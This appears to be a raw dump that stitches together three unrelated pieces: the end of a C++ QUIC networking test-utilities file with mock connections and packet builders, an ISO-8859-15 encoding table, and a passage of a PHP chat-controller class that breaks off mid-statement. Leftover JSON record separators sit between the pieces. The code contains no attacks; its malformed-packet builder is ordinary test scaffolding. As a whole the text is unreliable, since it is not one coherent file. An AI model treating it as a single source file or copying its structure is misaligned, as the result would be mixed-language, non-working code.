BuildUnsizedDataPacket(QuicFramer* framer,\n const QuicPacketHeader& header,\n const QuicFrames& frames) {\n const size_t max_plaintext_size = framer->GetMaxPlaintextSize(kMaxPacketSize);\n size_t packet_size = GetPacketHeaderSize(framer->version(), header);\n for (size_t i = 0; i < frames.size(); ++i) {\n DCHECK_LE(packet_size, max_plaintext_size);\n bool first_frame = i == 0;\n bool last_frame = i == frames.size() - 1;\n const size_t frame_size = framer->GetSerializedFrameLength(\n frames[i], max_plaintext_size - packet_size, first_frame, last_frame,\n header.public_header.packet_number_length);\n DCHECK(frame_size);\n packet_size += frame_size;\n }\n return BuildUnsizedDataPacket(framer, header, frames, packet_size);\n}\n\nQuicPacket* BuildUnsizedDataPacket(QuicFramer* framer,\n const QuicPacketHeader& header,\n const QuicFrames& frames,\n size_t packet_size) {\n char* buffer = new char[packet_size];\n size_t length = framer->BuildDataPacket(header, frames, buffer, packet_size);\n DCHECK_NE(0u, length);\n // Re-construct the data packet with data ownership.\n return new QuicPacket(buffer, length, /* owns_buffer */ true,\n header.public_header.connection_id_length,\n header.public_header.version_flag,\n header.public_header.multipath_flag,\n header.public_header.nonce != nullptr,\n header.public_header.packet_number_length);\n}\n\nuint64_t SimpleRandom::RandUint64() {\n unsigned char hash[base::kSHA1Length];\n base::SHA1HashBytes(reinterpret_cast(&seed_), sizeof(seed_),\n hash);\n memcpy(&seed_, hash, sizeof(seed_));\n return seed_;\n}\n\nMockFramerVisitor::MockFramerVisitor() {\n // By default, we want to accept packets.\n ON_CALL(*this, OnProtocolVersionMismatch(_))\n .WillByDefault(testing::Return(false));\n\n // By default, we want to accept packets.\n ON_CALL(*this, OnUnauthenticatedHeader(_))\n .WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnUnauthenticatedPublicHeader(_))\n .WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnPacketHeader(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnStreamFrame(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnAckFrame(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnStopWaitingFrame(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnPaddingFrame(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnPingFrame(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnRstStreamFrame(_)).WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnConnectionCloseFrame(_))\n .WillByDefault(testing::Return(true));\n\n ON_CALL(*this, OnGoAwayFrame(_)).WillByDefault(testing::Return(true));\n}\n\nMockFramerVisitor::~MockFramerVisitor() {}\n\nbool NoOpFramerVisitor::OnProtocolVersionMismatch(QuicVersion version) {\n return false;\n}\n\nbool NoOpFramerVisitor::OnUnauthenticatedPublicHeader(\n const QuicPacketPublicHeader& header) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnUnauthenticatedHeader(\n const QuicPacketHeader& header) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnPacketHeader(const QuicPacketHeader& header) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnStreamFrame(const QuicStreamFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnAckFrame(const QuicAckFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnStopWaitingFrame(const QuicStopWaitingFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnPaddingFrame(const QuicPaddingFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnPingFrame(const QuicPingFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnRstStreamFrame(const QuicRstStreamFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnConnectionCloseFrame(\n const QuicConnectionCloseFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnGoAwayFrame(const QuicGoAwayFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnWindowUpdateFrame(\n const QuicWindowUpdateFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnBlockedFrame(const QuicBlockedFrame& frame) {\n return true;\n}\n\nbool NoOpFramerVisitor::OnPathCloseFrame(const QuicPathCloseFrame& frame) {\n return true;\n}\n\nMockQuicConnectionVisitor::MockQuicConnectionVisitor() {}\n\nMockQuicConnectionVisitor::~MockQuicConnectionVisitor() {}\n\nMockQuicConnectionHelper::MockQuicConnectionHelper() {}\n\nMockQuicConnectionHelper::~MockQuicConnectionHelper() {}\n\nconst QuicClock* MockQuicConnectionHelper::GetClock() const {\n return &clock_;\n}\n\nQuicRandom* MockQuicConnectionHelper::GetRandomGenerator() {\n return &random_generator_;\n}\n\nQuicAlarm* MockAlarmFactory::CreateAlarm(QuicAlarm::Delegate* delegate) {\n return new MockAlarmFactory::TestAlarm(\n QuicArenaScopedPtr(delegate));\n}\n\nQuicArenaScopedPtr MockAlarmFactory::CreateAlarm(\n QuicArenaScopedPtr delegate,\n QuicConnectionArena* arena) {\n if (arena != nullptr) {\n return arena->New(std::move(delegate));\n } else {\n return QuicArenaScopedPtr(\n new TestAlarm(std::move(delegate)));\n }\n}\n\nQuicBufferAllocator* MockQuicConnectionHelper::GetBufferAllocator() {\n return &buffer_allocator_;\n}\n\nvoid MockQuicConnectionHelper::AdvanceTime(QuicTime::Delta delta) {\n clock_.AdvanceTime(delta);\n}\n\nMockQuicConnection::MockQuicConnection(MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective)\n : MockQuicConnection(kTestConnectionId,\n IPEndPoint(TestPeerIPAddress(), kTestPort),\n helper,\n alarm_factory,\n perspective,\n QuicSupportedVersions()) {}\n\nMockQuicConnection::MockQuicConnection(IPEndPoint address,\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective)\n : MockQuicConnection(kTestConnectionId,\n address,\n helper,\n alarm_factory,\n perspective,\n QuicSupportedVersions()) {}\n\nMockQuicConnection::MockQuicConnection(QuicConnectionId connection_id,\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective)\n : MockQuicConnection(connection_id,\n IPEndPoint(TestPeerIPAddress(), kTestPort),\n helper,\n alarm_factory,\n perspective,\n QuicSupportedVersions()) {}\n\nMockQuicConnection::MockQuicConnection(\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective,\n const QuicVersionVector& supported_versions)\n : MockQuicConnection(kTestConnectionId,\n IPEndPoint(TestPeerIPAddress(), kTestPort),\n helper,\n alarm_factory,\n perspective,\n supported_versions) {}\n\nMockQuicConnection::MockQuicConnection(\n QuicConnectionId connection_id,\n IPEndPoint address,\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective,\n const QuicVersionVector& supported_versions)\n : QuicConnection(connection_id,\n address,\n helper,\n alarm_factory,\n new testing::NiceMock(),\n /* owns_writer= */ true,\n perspective,\n supported_versions) {\n ON_CALL(*this, OnError(_))\n .WillByDefault(\n Invoke(this, &PacketSavingConnection::QuicConnection_OnError));\n}\n\nMockQuicConnection::~MockQuicConnection() {}\n\nvoid MockQuicConnection::AdvanceTime(QuicTime::Delta delta) {\n static_cast(helper())->AdvanceTime(delta);\n}\n\nPacketSavingConnection::PacketSavingConnection(MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective)\n : MockQuicConnection(helper, alarm_factory, perspective) {}\n\nPacketSavingConnection::PacketSavingConnection(\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n Perspective perspective,\n const QuicVersionVector& supported_versions)\n : MockQuicConnection(helper,\n alarm_factory,\n perspective,\n supported_versions) {}\n\nPacketSavingConnection::~PacketSavingConnection() {\n STLDeleteElements(&encrypted_packets_);\n}\n\nvoid PacketSavingConnection::SendOrQueuePacket(SerializedPacket* packet) {\n encrypted_packets_.push_back(new QuicEncryptedPacket(\n QuicUtils::CopyBuffer(*packet), packet->encrypted_length, true));\n // Transfer ownership of the packet to the SentPacketManager and the\n // ack notifier to the AckNotifierManager.\n sent_packet_manager_->OnPacketSent(packet, kInvalidPathId, 0,\n QuicTime::Zero(), NOT_RETRANSMISSION,\n HAS_RETRANSMITTABLE_DATA);\n}\n\nMockQuicSession::MockQuicSession(QuicConnection* connection)\n : QuicSession(connection, DefaultQuicConfig()) {\n crypto_stream_.reset(new QuicCryptoStream(this));\n Initialize();\n ON_CALL(*this, WritevData(_, _, _, _, _, _))\n .WillByDefault(testing::Return(QuicConsumedData(0, false)));\n}\n\nMockQuicSession::~MockQuicSession() {}\n\n// static\nQuicConsumedData MockQuicSession::ConsumeAllData(\n ReliableQuicStream* /*stream*/,\n QuicStreamId /*id*/,\n const QuicIOVector& data,\n QuicStreamOffset /*offset*/,\n bool fin,\n QuicAckListenerInterface* /*ack_notifier_delegate*/) {\n return QuicConsumedData(data.total_length, fin);\n}\n\nMockQuicSpdySession::MockQuicSpdySession(QuicConnection* connection)\n : QuicSpdySession(connection, DefaultQuicConfig()) {\n crypto_stream_.reset(new QuicCryptoStream(this));\n Initialize();\n ON_CALL(*this, WritevData(_, _, _, _, _, _))\n .WillByDefault(testing::Return(QuicConsumedData(0, false)));\n}\n\nMockQuicSpdySession::~MockQuicSpdySession() {}\n\nTestQuicSpdyServerSession::TestQuicSpdyServerSession(\n QuicConnection* connection,\n const QuicConfig& config,\n const QuicCryptoServerConfig* crypto_config,\n QuicCompressedCertsCache* compressed_certs_cache)\n : QuicServerSessionBase(config,\n connection,\n &visitor_,\n &helper_,\n crypto_config,\n compressed_certs_cache) {\n Initialize();\n ON_CALL(helper_, GenerateConnectionIdForReject(_))\n .WillByDefault(\n testing::Return(connection->random_generator()->RandUint64()));\n ON_CALL(helper_, CanAcceptClientHello(_, _, _))\n .WillByDefault(testing::Return(true));\n}\n\nTestQuicSpdyServerSession::~TestQuicSpdyServerSession() {}\n\nQuicCryptoServerStreamBase*\nTestQuicSpdyServerSession::CreateQuicCryptoServerStream(\n const QuicCryptoServerConfig* crypto_config,\n QuicCompressedCertsCache* compressed_certs_cache) {\n return new QuicCryptoServerStream(crypto_config, compressed_certs_cache,\n FLAGS_enable_quic_stateless_reject_support,\n this);\n}\n\nQuicCryptoServerStream* TestQuicSpdyServerSession::GetCryptoStream() {\n return static_cast(\n QuicServerSessionBase::GetCryptoStream());\n}\n\nTestQuicSpdyClientSession::TestQuicSpdyClientSession(\n QuicConnection* connection,\n const QuicConfig& config,\n const QuicServerId& server_id,\n QuicCryptoClientConfig* crypto_config)\n : QuicClientSessionBase(connection, &push_promise_index_, config) {\n crypto_stream_.reset(new QuicCryptoClientStream(\n server_id, this, CryptoTestUtils::ProofVerifyContextForTesting(),\n crypto_config, this));\n Initialize();\n}\n\nTestQuicSpdyClientSession::~TestQuicSpdyClientSession() {}\n\nbool TestQuicSpdyClientSession::IsAuthorized(const string& authority) {\n return true;\n}\n\nQuicCryptoClientStream* TestQuicSpdyClientSession::GetCryptoStream() {\n return crypto_stream_.get();\n}\n\nMockPacketWriter::MockPacketWriter() {\n ON_CALL(*this, GetMaxPacketSize(_))\n .WillByDefault(testing::Return(kMaxPacketSize));\n}\n\nMockPacketWriter::~MockPacketWriter() {}\n\nMockSendAlgorithm::MockSendAlgorithm() {}\n\nMockSendAlgorithm::~MockSendAlgorithm() {}\n\nMockLossAlgorithm::MockLossAlgorithm() {}\n\nMockLossAlgorithm::~MockLossAlgorithm() {}\n\nMockAckListener::MockAckListener() {}\n\nMockAckListener::~MockAckListener() {}\n\nMockNetworkChangeVisitor::MockNetworkChangeVisitor() {}\n\nMockNetworkChangeVisitor::~MockNetworkChangeVisitor() {}\n\nnamespace {\n\nstring HexDumpWithMarks(const char* data,\n int length,\n const bool* marks,\n int mark_length) {\n static const char kHexChars[] = \"0123456789abcdef\";\n static const int kColumns = 4;\n\n const int kSizeLimit = 1024;\n if (length > kSizeLimit || mark_length > kSizeLimit) {\n LOG(ERROR) << \"Only dumping first \" << kSizeLimit << \" bytes.\";\n length = min(length, kSizeLimit);\n mark_length = min(mark_length, kSizeLimit);\n }\n\n string hex;\n for (const char *row = data; length > 0;\n row += kColumns, length -= kColumns) {\n for (const char* p = row; p < row + 4; ++p) {\n if (p < row + length) {\n const bool mark =\n (marks && (p - data) < mark_length && marks[p - data]);\n hex += mark ? '*' : ' ';\n hex += kHexChars[(*p & 0xf0) >> 4];\n hex += kHexChars[*p & 0x0f];\n hex += mark ? '*' : ' ';\n } else {\n hex += \" \";\n }\n }\n hex = hex + \" \";\n\n for (const char* p = row; p < row + 4 && p < row + length; ++p) {\n hex += (*p >= 0x20 && *p <= 0x7f) ? (*p) : '.';\n }\n\n hex = hex + '\\n';\n }\n return hex;\n}\n\n} // namespace\n\nIPAddress TestPeerIPAddress() {\n return Loopback4();\n}\n\nQuicVersion QuicVersionMax() {\n return QuicSupportedVersions().front();\n}\n\nQuicVersion QuicVersionMin() {\n return QuicSupportedVersions().back();\n}\n\nIPAddress Loopback4() {\n return IPAddress::IPv4Localhost();\n}\n\nIPAddress Loopback6() {\n return IPAddress::IPv6Localhost();\n}\n\nIPAddress Any4() {\n return IPAddress::IPv4AllZeros();\n}\n\nvoid GenerateBody(string* body, int length) {\n body->clear();\n body->reserve(length);\n for (int i = 0; i < length; ++i) {\n body->append(1, static_cast(32 + i % (126 - 32)));\n }\n}\n\nQuicEncryptedPacket* ConstructEncryptedPacket(QuicConnectionId connection_id,\n bool version_flag,\n bool multipath_flag,\n bool reset_flag,\n QuicPathId path_id,\n QuicPacketNumber packet_number,\n const string& data) {\n return ConstructEncryptedPacket(connection_id, version_flag, multipath_flag,\n reset_flag, path_id, packet_number, data,\n PACKET_8BYTE_CONNECTION_ID,\n PACKET_6BYTE_PACKET_NUMBER);\n}\n\nQuicEncryptedPacket* ConstructEncryptedPacket(\n QuicConnectionId connection_id,\n bool version_flag,\n bool multipath_flag,\n bool reset_flag,\n QuicPathId path_id,\n QuicPacketNumber packet_number,\n const string& data,\n QuicConnectionIdLength connection_id_length,\n QuicPacketNumberLength packet_number_length) {\n return ConstructEncryptedPacket(\n connection_id, version_flag, multipath_flag, reset_flag, path_id,\n packet_number, data, connection_id_length, packet_number_length, nullptr);\n}\n\nQuicEncryptedPacket* ConstructEncryptedPacket(\n QuicConnectionId connection_id,\n bool version_flag,\n bool multipath_flag,\n bool reset_flag,\n QuicPathId path_id,\n QuicPacketNumber packet_number,\n const string& data,\n QuicConnectionIdLength connection_id_length,\n QuicPacketNumberLength packet_number_length,\n QuicVersionVector* versions) {\n return ConstructEncryptedPacket(connection_id, version_flag, multipath_flag,\n reset_flag, path_id, packet_number, data,\n connection_id_length, packet_number_length,\n versions, Perspective::IS_CLIENT);\n}\nQuicEncryptedPacket* ConstructEncryptedPacket(\n QuicConnectionId connection_id,\n bool version_flag,\n bool multipath_flag,\n bool reset_flag,\n QuicPathId path_id,\n QuicPacketNumber packet_number,\n const string& data,\n QuicConnectionIdLength connection_id_length,\n QuicPacketNumberLength packet_number_length,\n QuicVersionVector* versions,\n Perspective perspective) {\n QuicPacketHeader header;\n header.public_header.connection_id = connection_id;\n header.public_header.connection_id_length = connection_id_length;\n header.public_header.version_flag = version_flag;\n header.public_header.multipath_flag = multipath_flag;\n header.public_header.reset_flag = reset_flag;\n header.public_header.packet_number_length = packet_number_length;\n header.path_id = path_id;\n header.packet_number = packet_number;\n header.entropy_flag = false;\n header.entropy_hash = 0;\n header.fec_flag = false;\n QuicStreamFrame stream_frame(1, false, 0, StringPiece(data));\n QuicFrame frame(&stream_frame);\n QuicFrames frames;\n frames.push_back(frame);\n QuicFramer framer(versions != nullptr ? *versions : QuicSupportedVersions(),\n QuicTime::Zero(), perspective);\n\n std::unique_ptr packet(\n BuildUnsizedDataPacket(&framer, header, frames));\n EXPECT_TRUE(packet != nullptr);\n char* buffer = new char[kMaxPacketSize];\n size_t encrypted_length = framer.EncryptPayload(\n ENCRYPTION_NONE, path_id, packet_number, *packet, buffer, kMaxPacketSize);\n EXPECT_NE(0u, encrypted_length);\n return new QuicEncryptedPacket(buffer, encrypted_length, true);\n}\n\nQuicReceivedPacket* ConstructReceivedPacket(\n const QuicEncryptedPacket& encrypted_packet,\n QuicTime receipt_time) {\n char* buffer = new char[encrypted_packet.length()];\n memcpy(buffer, encrypted_packet.data(), encrypted_packet.length());\n return new QuicReceivedPacket(buffer, encrypted_packet.length(), receipt_time,\n true);\n}\n\nQuicEncryptedPacket* ConstructMisFramedEncryptedPacket(\n QuicConnectionId connection_id,\n bool version_flag,\n bool multipath_flag,\n bool reset_flag,\n QuicPathId path_id,\n QuicPacketNumber packet_number,\n const string& data,\n QuicConnectionIdLength connection_id_length,\n QuicPacketNumberLength packet_number_length,\n QuicVersionVector* versions,\n Perspective perspective) {\n QuicPacketHeader header;\n header.public_header.connection_id = connection_id;\n header.public_header.connection_id_length = connection_id_length;\n header.public_header.version_flag = version_flag;\n header.public_header.multipath_flag = multipath_flag;\n header.public_header.reset_flag = reset_flag;\n header.public_header.packet_number_length = packet_number_length;\n header.path_id = path_id;\n header.packet_number = packet_number;\n header.entropy_flag = false;\n header.entropy_hash = 0;\n header.fec_flag = false;\n QuicStreamFrame stream_frame(1, false, 0, StringPiece(data));\n QuicFrame frame(&stream_frame);\n QuicFrames frames;\n frames.push_back(frame);\n QuicFramer framer(versions != nullptr ? *versions : QuicSupportedVersions(),\n QuicTime::Zero(), perspective);\n\n std::unique_ptr packet(\n BuildUnsizedDataPacket(&framer, header, frames));\n EXPECT_TRUE(packet != nullptr);\n\n if (framer.version() <= QUIC_VERSION_33) {\n // Now set the packet's private flags byte to 0xFF, which is an invalid\n // value.\n reinterpret_cast(\n packet->mutable_data())[GetStartOfEncryptedData(\n framer.version(), connection_id_length, version_flag, multipath_flag,\n false /* no diversification nonce */, packet_number_length)] = 0xFF;\n } else {\n // Now set the frame type to 0x1F, which is an invalid frame type.\n reinterpret_cast(\n packet->mutable_data())[GetStartOfEncryptedData(\n framer.version(), connection_id_length, version_flag, multipath_flag,\n false /* no diversification nonce */, packet_number_length)] = 0x1F;\n }\n\n char* buffer = new char[kMaxPacketSize];\n size_t encrypted_length = framer.EncryptPayload(\n ENCRYPTION_NONE, path_id, packet_number, *packet, buffer, kMaxPacketSize);\n EXPECT_NE(0u, encrypted_length);\n return new QuicEncryptedPacket(buffer, encrypted_length, true);\n}\n\nvoid CompareCharArraysWithHexError(const string& description,\n const char* actual,\n const int actual_len,\n const char* expected,\n const int expected_len) {\n EXPECT_EQ(actual_len, expected_len);\n const int min_len = min(actual_len, expected_len);\n const int max_len = max(actual_len, expected_len);\n std::unique_ptr marks(new bool[max_len]);\n bool identical = (actual_len == expected_len);\n for (int i = 0; i < min_len; ++i) {\n if (actual[i] != expected[i]) {\n marks[i] = true;\n identical = false;\n } else {\n marks[i] = false;\n }\n }\n for (int i = min_len; i < max_len; ++i) {\n marks[i] = true;\n }\n if (identical)\n return;\n ADD_FAILURE() << \"Description:\\n\"\n << description << \"\\n\\nExpected:\\n\"\n << HexDumpWithMarks(expected, expected_len, marks.get(),\n max_len)\n << \"\\nActual:\\n\"\n << HexDumpWithMarks(actual, actual_len, marks.get(), max_len);\n}\n\nbool DecodeHexString(const base::StringPiece& hex, std::string* bytes) {\n bytes->clear();\n if (hex.empty())\n return true;\n std::vector v;\n if (!base::HexStringToBytes(hex.as_string(), &v))\n return false;\n if (!v.empty())\n bytes->assign(reinterpret_cast(&v[0]), v.size());\n return true;\n}\n\nstatic QuicPacket* ConstructPacketFromHandshakeMessage(\n QuicConnectionId connection_id,\n const CryptoHandshakeMessage& message,\n bool should_include_version) {\n CryptoFramer crypto_framer;\n std::unique_ptr data(\n crypto_framer.ConstructHandshakeMessage(message));\n QuicFramer quic_framer(QuicSupportedVersions(), QuicTime::Zero(),\n Perspective::IS_CLIENT);\n\n QuicPacketHeader header;\n header.public_header.connection_id = connection_id;\n header.public_header.reset_flag = false;\n header.public_header.version_flag = should_include_version;\n header.packet_number = 1;\n header.entropy_flag = false;\n header.entropy_hash = 0;\n header.fec_flag = false;\n\n QuicStreamFrame stream_frame(kCryptoStreamId, false, 0,\n data->AsStringPiece());\n\n QuicFrame frame(&stream_frame);\n QuicFrames frames;\n frames.push_back(frame);\n return BuildUnsizedDataPacket(&quic_framer, header, frames);\n}\n\nQuicPacket* ConstructHandshakePacket(QuicConnectionId connection_id,\n QuicTag tag) {\n CryptoHandshakeMessage message;\n message.set_tag(tag);\n return ConstructPacketFromHandshakeMessage(connection_id, message, false);\n}\n\nsize_t GetPacketLengthForOneStream(QuicVersion version,\n bool include_version,\n bool include_path_id,\n bool include_diversification_nonce,\n QuicConnectionIdLength connection_id_length,\n QuicPacketNumberLength packet_number_length,\n size_t* payload_length) {\n *payload_length = 1;\n const size_t stream_length =\n NullEncrypter().GetCiphertextSize(*payload_length) +\n QuicPacketCreator::StreamFramePacketOverhead(\n version, PACKET_8BYTE_CONNECTION_ID, include_version, include_path_id,\n include_diversification_nonce, packet_number_length, 0u);\n const size_t ack_length =\n NullEncrypter().GetCiphertextSize(\n QuicFramer::GetMinAckFrameSize(version, PACKET_1BYTE_PACKET_NUMBER)) +\n GetPacketHeaderSize(version, connection_id_length, include_version,\n include_path_id, include_diversification_nonce,\n packet_number_length);\n if (stream_length < ack_length) {\n *payload_length = 1 + ack_length - stream_length;\n }\n\n return NullEncrypter().GetCiphertextSize(*payload_length) +\n QuicPacketCreator::StreamFramePacketOverhead(\n version, connection_id_length, include_version, include_path_id,\n include_diversification_nonce, packet_number_length, 0u);\n}\n\nTestEntropyCalculator::TestEntropyCalculator() {}\n\nTestEntropyCalculator::~TestEntropyCalculator() {}\n\nQuicPacketEntropyHash TestEntropyCalculator::EntropyHash(\n QuicPacketNumber packet_number) const {\n return 1u;\n}\n\nMockEntropyCalculator::MockEntropyCalculator() {}\n\nMockEntropyCalculator::~MockEntropyCalculator() {}\n\nQuicConfig DefaultQuicConfig() {\n QuicConfig config;\n config.SetInitialStreamFlowControlWindowToSend(\n kInitialStreamFlowControlWindowForTest);\n config.SetInitialSessionFlowControlWindowToSend(\n kInitialSessionFlowControlWindowForTest);\n return config;\n}\n\nQuicConfig DefaultQuicConfigStatelessRejects() {\n QuicConfig config = DefaultQuicConfig();\n QuicTagVector copt;\n copt.push_back(kSREJ);\n config.SetConnectionOptionsToSend(copt);\n return config;\n}\n\nQuicVersionVector SupportedVersions(QuicVersion version) {\n QuicVersionVector versions;\n versions.push_back(version);\n return versions;\n}\n\nMockQuicConnectionDebugVisitor::MockQuicConnectionDebugVisitor() {}\n\nMockQuicConnectionDebugVisitor::~MockQuicConnectionDebugVisitor() {}\n\nMockReceivedPacketManager::MockReceivedPacketManager(QuicConnectionStats* stats)\n : QuicReceivedPacketManager(stats) {}\n\nMockReceivedPacketManager::~MockReceivedPacketManager() {}\n\nMockSentPacketManager::MockSentPacketManager() {}\n\nMockSentPacketManager::~MockSentPacketManager() {}\n\nMockConnectionCloseDelegate::MockConnectionCloseDelegate() {}\n\nMockConnectionCloseDelegate::~MockConnectionCloseDelegate() {}\n\nvoid CreateClientSessionForTest(QuicServerId server_id,\n bool supports_stateless_rejects,\n QuicTime::Delta connection_start_time,\n QuicVersionVector supported_versions,\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n QuicCryptoClientConfig* crypto_client_config,\n PacketSavingConnection** client_connection,\n TestQuicSpdyClientSession** client_session) {\n CHECK(crypto_client_config);\n CHECK(client_connection);\n CHECK(client_session);\n CHECK(!connection_start_time.IsZero())\n << \"Connections must start at non-zero times, otherwise the \"\n << \"strike-register will be unhappy.\";\n\n QuicConfig config = supports_stateless_rejects\n ? DefaultQuicConfigStatelessRejects()\n : DefaultQuicConfig();\n *client_connection = new PacketSavingConnection(\n helper, alarm_factory, Perspective::IS_CLIENT, supported_versions);\n *client_session = new TestQuicSpdyClientSession(\n *client_connection, config, server_id, crypto_client_config);\n (*client_connection)->AdvanceTime(connection_start_time);\n}\n\nvoid CreateServerSessionForTest(\n QuicServerId server_id,\n QuicTime::Delta connection_start_time,\n QuicVersionVector supported_versions,\n MockQuicConnectionHelper* helper,\n MockAlarmFactory* alarm_factory,\n QuicCryptoServerConfig* server_crypto_config,\n QuicCompressedCertsCache* compressed_certs_cache,\n PacketSavingConnection** server_connection,\n TestQuicSpdyServerSession** server_session) {\n CHECK(server_crypto_config);\n CHECK(server_connection);\n CHECK(server_session);\n CHECK(!connection_start_time.IsZero())\n << \"Connections must start at non-zero times, otherwise the \"\n << \"strike-register will be unhappy.\";\n\n *server_connection = new PacketSavingConnection(\n helper, alarm_factory, Perspective::IS_SERVER, supported_versions);\n *server_session = new TestQuicSpdyServerSession(\n *server_connection, DefaultQuicConfig(), server_crypto_config,\n compressed_certs_cache);\n\n // We advance the clock initially because the default time is zero and the\n // strike register worries that we've just overflowed a uint32_t time.\n (*server_connection)->AdvanceTime(connection_start_time);\n}\n\nQuicStreamId QuicClientDataStreamId(int i) {\n return kClientDataStreamId1 + 2 * i;\n}\n\n} // namespace test\n} // namespace net\n"} +{"text": "# Encoding file: iso8859-15, single-byte\nS\n003F 0 1\n00\n0000000100020003000400050006000700080009000A000B000C000D000E000F\n0010001100120013001400150016001700180019001A001B001C001D001E001F\n0020002100220023002400250026002700280029002A002B002C002D002E002F\n0030003100320033003400350036003700380039003A003B003C003D003E003F\n0040004100420043004400450046004700480049004A004B004C004D004E004F\n0050005100520053005400550056005700580059005A005B005C005D005E005F\n0060006100620063006400650066006700680069006A006B006C006D006E006F\n0070007100720073007400750076007700780079007A007B007C007D007E007F\n0080008100820083008400850086008700880089008A008B008C008D008E008F\n0090009100920093009400950096009700980099009A009B009C009D009E009F\n00A000A100A200A320AC00A5016000A7016100A900AA00AB00AC00AD00AE00AF\n00B000B100B200B3017D00B500B600B7017E00B900BA00BB01520153017800BF\n00C000C100C200C300C400C500C600C700C800C900CA00CB00CC00CD00CE00CF\n00D000D100D200D300D400D500D600D700D800D900DA00DB00DC00DD00DE00DF\n00E000E100E200E300E400E500E600E700E800E900EA00EB00EC00ED00EE00EF\n00F000F100F200F300F400F500F600F700F800F900FA00FB00FC00FD00FE00FF\n"} +{"text": "/ - SELECTED_MODE\n *\n * UNSELECTED_MODE is not an Ajax request while the other two are Ajax\n * requests.\n */\n private function determineMode() {\n $request = $this->getRequest();\n\n $mode = self::UNSELECTED_MODE;\n if ($request->isAjax()) {\n $mode = self::SELECTED_MODE;\n }\n\n return $mode;\n }\n\n public function shouldAllowPublic() {\n return true;\n }\n\n public function handleRequest(AphrontRequest $request) {\n $user = $request->getUser();\n $title = pht('Conpherence');\n $conpherence = null;\n\n $limit = ConpherenceThreadListView::SEE_ALL_LIMIT + 1;\n $all_participation = array();\n\n $mode = $this->determineMode();\n switch ($mode) {\n case self::SELECTED_MODE:\n $conpherence_id = $request->getURIData('id');\n $conpherence = id(new ConpherenceThreadQuery())\n ->setViewer($user)\n ->withIDs(array($conpherence_id))\n ->executeOne();\n if (!$conpherence) {\n return new Aphront404Response();\n }\n if ($conpherence->getTitle()) {\n $title = $conpherence->getTitle();\n }\n $cursor = $conpherence->getParticipantIfExists($user->getPHID());\n $data = $this->loadDefaultParticipation($limit);\n $all_participation = $data['all_participation'];\n if (!$cursor) {\n $menu_participation = id(new ConpherenceParticipant())\n ->makeEphemeral()\n ->setConpherencePHID($conpherence->getPHID())\n ->setParticipantPHID($user->getPHID());\n } else {\n $menu_participation = $cursor;\n }\n\n // check to see if the loaded conpherence is going to show up\n // within the SEE_ALL_LIMIT amount of conpherences.\n // If its not there, then we just pre-pend it as the \"first\"\n // conpherence so folks have a navigation item in the menu.\n $count = 0;\n $found = false;\n foreach ($all_participation as $phid => $curr_participation) {\n if ($conpherence->getPHID() == $phid) {\n $found = true;\n break;\n }\n $count++;\n if ($count > ConpherenceThreadListView::SEE_ALL_LIMIT) {\n break;\n }\n }\n if (!$found) {\n $all_participation =\n array($conpherence->getPHID() => $menu_participation) +\n $all_participation;\n }\n break;\n case self::UNSELECTED_MODE:\n default:\n $data = $this->loadDefaultParticipation($limit);\n $all_participation = $data['all_participation'];\n if ($all_participation) {\n $conpherence_id = head($all_participation)->getConpherencePHID();\n $conpherence = id(new ConpherenceThreadQuery())\n ->setViewer($user)\n ->withPHIDs(array($conpherence_id))\n ->needProfileImage(true)\n ->executeOne();\n }\n // If $conpherence is null, NUX state will render\n break;\n }\n\n $threads = $this->loadConpherenceThreadData($all_participation);\n\n $thread_view = id(new ConpherenceThreadListView())\n ->setUser($user)\n ->setBaseURI($this->getApplicationURI())\n ->setThreads($threads);\n\n switch ($mode) {\n case self::SELECTED_MODE:\n $response = id(new AphrontAjaxResponse())->setContent($thread_view);\n break;\n case self::UNSELECTED_MODE:\n default:\n $layout = id(new ConpherenceLayoutView())\n ->setUser($user)\n ->setBaseURI($this->getApplicationURI())\n ->setThreadView($thread_view)\n ->setRole('list');\n if ($conpherence) {\n $layout->setThread($conpherence);\n } else {\n // make a dummy conpherence so we can render something\n $conpherence = ConpherenceThread::initializeNewRoom($user);\n $conpherence->attachHandles(array());\n $conpherence->attachTransactions(array());\n $conpherence->makeEphemeral();\n }\n $policy_objects = id(new PhabricatorPolicyQuery())\n ->setViewer($user)\n ->setObject($conpherence)\n ->execute();\n $layout->setHeader($this->buildHeaderPaneContent(\n $conpherence,\n $policy_objects));\n $response = $this->newPage()\n ->setTitle($title)\n ->appendChild($layout);\n break;\n }\n\n return $response;\n\n }\n\n private function loadDefaultParticipation($limit) {\n $viewer = $this->getRequest()->getUser();\n\n $all_participation = id(new ConpherenceParticipantQuery())\n 